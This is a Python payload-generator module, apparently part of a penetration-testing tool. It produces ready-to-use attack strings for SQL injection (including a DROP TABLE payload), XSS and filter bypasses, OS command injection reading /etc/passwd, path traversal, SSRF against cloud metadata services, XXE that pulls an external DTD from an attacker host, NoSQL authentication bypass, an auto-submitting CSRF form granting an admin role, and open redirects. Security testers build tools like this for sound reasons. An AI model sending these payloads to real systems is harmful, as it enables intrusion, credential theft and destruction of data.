"""
Payload Generator

Generates context-aware attack payloads for dynamic penetration testing.
Adapts payloads based on target technology, input context, and sanitization.
"""

import urllib.parse
import base64
import json
from typing import List, Dict, Optional
from enum import Enum


class PayloadEncoding(Enum):
    """Payload encoding types"""
    NONE = "none"
    URL = "url"
    DOUBLE_URL = "double_url"
    BASE64 = "base64"
    HTML_ENTITY = "html_entity"
    UNICODE = "unicode"


class InjectionContext(Enum):
    """Injection point context"""
    HTML_BODY = "html_body"
    HTML_ATTRIBUTE = "html_attribute"
    JAVASCRIPT = "javascript"
    CSS = "css"
    URL = "url"
    JSON = "json"
    XML = "xml"
    SQL_STRING = "sql_string"
    SQL_NUMERIC = "sql_numeric"


class PayloadGenerator:
    """
    Generates context-aware attack payloads for penetration testing.
    """
    
    def __init__(self):
        self.encodings = [
            PayloadEncoding.NONE,
            PayloadEncoding.URL,
            PayloadEncoding.DOUBLE_URL
        ]
    
    def generate_sql_injection_payloads(
        self,
        database: str = "mysql",
        input_type: str = "string",
        quote_type: str = "single"
    ) -> List[str]:
        """
        Generate SQL injection payloads based on context.
        
        Args:
            database: Database type (mysql, postgres, mssql, oracle, sqlite)
            input_type: Input type (string, numeric)
            quote_type: Quote character (single, double, none)
        
        Returns:
            List of SQL injection payloads
        """
        
        base_payloads = []
        
        # String-based injection
        if input_type == "string":
            if quote_type == "single":
                base_payloads = [
                    "' OR '1'='1",
                    "' OR '1'='1' --",
                    "' OR '1'='1' /*",
                    "' OR '1'='1' #",
                    "admin' --",
                    "admin' #",
                    "' OR 1=1--",
                    "' UNION SELECT NULL--",
                    "' UNION SELECT NULL,NULL--",
                    "' UNION SELECT NULL,NULL,NULL--",
                    "' AND '1'='2",  # Negative test
                ]
            elif quote_type == "double":
                base_payloads = [
                    '" OR "1"="1',
                    '" OR "1"="1" --',
                    'admin" --',
                    '" UNION SELECT NULL--'
                ]
        
        # Numeric injection
        elif input_type == "numeric":
            base_payloads = [
                "1 OR 1=1",
                "1 OR 1=1--",
                "1' OR '1'='1",
                "1) OR (1=1",
                "1)) OR ((1=1"
            ]
        
        # Database-specific payloads
        db_specific = self._get_database_specific_payloads(database, quote_type)
        base_payloads.extend(db_specific)
        
        # Apply encodings
        all_payloads = []
        for payload in base_payloads:
            all_payloads.append(payload)  # Original
            all_payloads.append(self.encode(payload, PayloadEncoding.URL))
        
        return all_payloads
    
    def generate_xss_payloads(
        self,
        context: InjectionContext = InjectionContext.HTML_BODY,
        sanitization: str = "none"
    ) -> List[str]:
        """
        Generate XSS payloads based on injection context.
        
        Args:
            context: Where the payload will be injected
            sanitization: Type of sanitization applied (none, html_encode, js_encode)
        
        Returns:
            List of XSS payloads
        """
        
        payloads = []
        
        if context == InjectionContext.HTML_BODY:
            payloads = [
                "<script>alert('XSS')</script>",
                "<script>alert(1)</script>",
                "<img src=x onerror=alert('XSS')>",
                "<img src=x onerror=alert(1)>",
                "<svg/onload=alert('XSS')>",
                "<svg/onload=alert(1)>",
                "<iframe src='javascript:alert(\"XSS\")'>",
                "<body onload=alert('XSS')>",
                "<input onfocus=alert('XSS') autofocus>",
                "<select onfocus=alert('XSS') autofocus>",
                "<textarea onfocus=alert('XSS') autofocus>",
                "<keygen onfocus=alert('XSS') autofocus>",
                "<video><source onerror=\"alert('XSS')\">",
                "<audio src=x onerror=alert('XSS')>",
                "<details open ontoggle=alert('XSS')>",
                "<marquee onstart=alert('XSS')>",
            ]
        
        elif context == InjectionContext.HTML_ATTRIBUTE:
            payloads = [
                "\" onload=\"alert('XSS')\"",
                "' onload='alert('XSS')'",
                "\" autofocus onfocus=\"alert('XSS')\"",
                "\" onclick=\"alert('XSS')\"",
                "javascript:alert('XSS')",
                "' onmouseover='alert('XSS')'",
            ]
        
        elif context == InjectionContext.JAVASCRIPT:
            payloads = [
                "';alert('XSS');//",
                "\";alert('XSS');//",
                "';alert(String.fromCharCode(88,83,83));//",
                "</script><script>alert('XSS')</script>",
            ]
        
        elif context == InjectionContext.URL:
            payloads = [
                "javascript:alert('XSS')",
                "javascript:alert(1)",
                "data:text/html,<script>alert('XSS')</script>",
                "vbscript:msgbox('XSS')",
            ]
        
        # Bypass techniques for sanitization
        if sanitization != "none":
            bypass_payloads = self._generate_xss_bypass_payloads(sanitization)
            payloads.extend(bypass_payloads)
        
        return payloads
    
    def generate_command_injection_payloads(
        self,
        os_type: str = "linux"
    ) -> List[str]:
        """
        Generate OS command injection payloads.
        
        Args:
            os_type: Operating system (linux, windows)
        
        Returns:
            List of command injection payloads
        """
        
        if os_type == "linux":
            payloads = [
                "; ls -la",
                "| ls -la",
                "& ls -la",
                "`ls -la`",
                "$(ls -la)",
                "; cat /etc/passwd",
                "| cat /etc/passwd",
                "; whoami",
                "| whoami",
                "; id",
                "| id",
                "; sleep 5",
                "| sleep 5",
                "& ping -c 10 127.0.0.1 &",
            ]
        else:  # Windows
            payloads = [
                "& dir",
                "| dir",
                "; dir",
                "& type C:\\Windows\\win.ini",
                "| whoami",
                "& ping -n 10 127.0.0.1",
            ]
        
        return payloads
    
    def generate_path_traversal_payloads(self) -> List[str]:
        """Generate path traversal payloads"""
        
        payloads = [
            "../../../etc/passwd",
            "..\\..\\..\\windows\\win.ini",
            "....//....//....//etc/passwd",
            "..%2F..%2F..%2Fetc%2Fpasswd",
            "..%252F..%252F..%252Fetc%252Fpasswd",
            "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
            "..;/etc/passwd",
            "../../../../../../../../../../etc/passwd",
            "/etc/passwd",
            "file:///etc/passwd",
        ]
        
        return payloads
    
    def generate_ssrf_payloads(self) -> List[str]:
        """Generate SSRF (Server-Side Request Forgery) payloads"""
        
        payloads = [
            "http://169.254.169.254/latest/meta-data/",  # AWS metadata
            "http://metadata.google.internal/computeMetadata/v1/",  # GCP metadata
            "http://169.254.169.254/metadata/instance",  # Azure metadata
            "http://localhost/admin",
            "http://127.0.0.1/admin",
            "http://0.0.0.0/admin",
            "http://[::1]/admin",
            "http://127.0.0.1:6379/",  # Redis
            "http://127.0.0.1:27017/",  # MongoDB
            "http://127.0.0.1:3306/",  # MySQL
            "file:///etc/passwd",
            "file:///c:/windows/win.ini",
            "gopher://127.0.0.1:11211/_",  # Memcached
            "dict://127.0.0.1:6379/info",  # Redis
        ]
        
        return payloads
    
    def generate_xxe_payloads(self) -> List[str]:
        """Generate XXE (XML External Entity) payloads"""
        
        payloads = [
            '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>''',
            
            '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-service/secret">
]>
<root>&xxe;</root>''',
            
            '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>''',
        ]
        
        return payloads
    
    def generate_nosql_injection_payloads(
        self,
        database: str = "mongodb"
    ) -> List[Dict]:
        """
        Generate NoSQL injection payloads.
        
        Args:
            database: NoSQL database type (mongodb, couchdb)
        
        Returns:
            List of payload dictionaries
        """
        
        if database == "mongodb":
            payloads = [
                {"username": {"$ne": None}, "password": {"$ne": None}},
                {"username": {"$gt": ""}, "password": {"$gt": ""}},
                {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
                {"username": "admin", "password": {"$ne": ""}},
                {"username": {"$in": ["admin", "root"]}, "password": {"$ne": ""}},
            ]
        else:
            payloads = []
        
        return payloads
    
    def generate_csrf_payloads(
        self,
        target_url: str,
        method: str = "POST"
    ) -> List[str]:
        """Generate CSRF proof-of-concept payloads"""
        
        if method == "POST":
            html = f'''<html>
  <body>
    <form action="{target_url}" method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com">
      <input type="hidden" name="role" value="admin">
    </form>
    <script>document.getElementById('csrf-form').submit();</script>
  </body>
</html>'''
        else:  # GET
            html = f'''<html>
  <body>
    <img src="{target_url}?action=delete&id=123">
  </body>
</html>'''
        
        return [html]
    
    def generate_open_redirect_payloads(self) -> List[str]:
        """Generate open redirect payloads"""
        
        payloads = [
            "https://evil.com",
            "//evil.com",
            "/\\/evil.com",
            "javascript:alert('XSS')",
            "data:text/html,<script>alert('XSS')</script>",
            "http://legitimate.com@evil.com",
            "http://evil.com?legitimate.com",
        ]
        
        return payloads
    
    def encode(self, payload: str, encoding: PayloadEncoding) -> str:
        """
        Encode payload with specified encoding.
        
        Args:
            payload: Original payload
            encoding: Encoding type
        
        Returns:
            Encoded payload
        """
        
        if encoding == PayloadEncoding.NONE:
            return payload
        
        elif encoding == PayloadEncoding.URL:
            return urllib.parse.quote(payload)
        
        elif encoding == PayloadEncoding.DOUBLE_URL:
            return urllib.parse.quote(urllib.parse.quote(payload))
        
        elif encoding == PayloadEncoding.BASE64:
            return base64.b64encode(payload.encode()).decode()
        
        elif encoding == PayloadEncoding.HTML_ENTITY:
            return ''.join(f'&#{ord(c)};' for c in payload)
        
        elif encoding == PayloadEncoding.UNICODE:
            return ''.join(f'\\u{ord(c):04x}' for c in payload)
        
        return payload
    
    def _get_database_specific_payloads(
        self,
        database: str,
        quote_type: str
    ) -> List[str]:
        """Get database-specific SQL injection payloads"""
        
        payloads = []
        quote = "'" if quote_type == "single" else '"'
        
        if database == "mysql":
            payloads = [
                f"{quote} OR 1=1#",
                f"{quote} AND SLEEP(5)--",
                f"{quote} UNION SELECT NULL,VERSION()--",
                f"{quote}; DROP TABLE users--",
            ]
        
        elif database == "postgres":
            payloads = [
                f"{quote} OR 1=1--",
                f"{quote}; SELECT pg_sleep(5)--",
                f"{quote} UNION SELECT NULL,version()--",
            ]
        
        elif database == "mssql":
            payloads = [
                f"{quote} OR 1=1--",
                f"{quote}; WAITFOR DELAY '00:00:05'--",
                f"{quote} UNION SELECT NULL,@@version--",
            ]
        
        elif database == "oracle":
            payloads = [
                f"{quote} OR 1=1--",
                f"{quote} UNION SELECT NULL,banner FROM v$version--",
            ]
        
        elif database == "sqlite":
            payloads = [
                f"{quote} OR 1=1--",
                f"{quote} UNION SELECT NULL,sqlite_version()--",
            ]
        
        return payloads
    
    def _generate_xss_bypass_payloads(self, sanitization: str) -> List[str]:
        """Generate XSS payloads to bypass sanitization"""
        
        bypass_payloads = [
            # Case variation
            "<ScRiPt>alert('XSS')</sCrIpT>",
            
            # Null byte
            "<script\x00>alert('XSS')</script>",
            
            # Whitespace variation
            "<script\t>alert('XSS')</script>",
            "<script\n>alert('XSS')</script>",
            
            # HTML encoding
            "&#60;script&#62;alert('XSS')&#60;/script&#62;",
            
            # Unicode encoding
            "<script>\\u0061lert('XSS')</script>",
            
            # Alternative tags
            "<object data='javascript:alert(\"XSS\")'>",
            "<embed src='javascript:alert(\"XSS\")'>",
        ]
        
        return bypass_payloads

